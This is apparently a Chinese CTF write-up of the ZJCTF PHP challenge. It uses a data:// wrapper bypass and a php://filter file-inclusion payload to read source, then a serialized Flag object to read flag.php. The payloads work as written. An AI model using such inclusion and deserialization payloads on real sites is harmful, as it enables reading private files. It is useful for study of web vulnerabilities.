打开靶机。

代码审计题。以get方法提交"text" ,"file"和"password"。接下来是如果提交的text内容是 welcome to the zjctf,则输出welcome to the zjctf。如果在提交的file中匹配到了flag,则输出not now并推出。然后可以看出下面是一个文件包涵还有反序列化。
我们开始绕过。第一个绕过就是用post方式提交text的数据就行了,这里我们用data伪协议就行。然后是文件包涵,我们用filter伪协议读取useless.
phppayload:?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

我们进行base64解密。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
从代码中可以看出我们要传的password的内容是序列化的:Flag类flag.php元。构造为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里我们去掉php://filter/read=convert.base64-encode/resource=这部分。第一是因为这部分的任务完成了,第二是因为加上这部分没法得到flag。我们按f12查看flag。

文章讲述了如何通过使用POST请求和数据伪协议来绕过GET方法的限制,结合文件包含漏洞利用php://filter进行Base64编码读取文件。接着展示了如何通过反序列化技巧获取Flag类的文件内容,从而达到目标。最终payload通过去掉不必要的编码部分,成功展示flag。
8817

被折叠的 条评论
为什么被折叠?



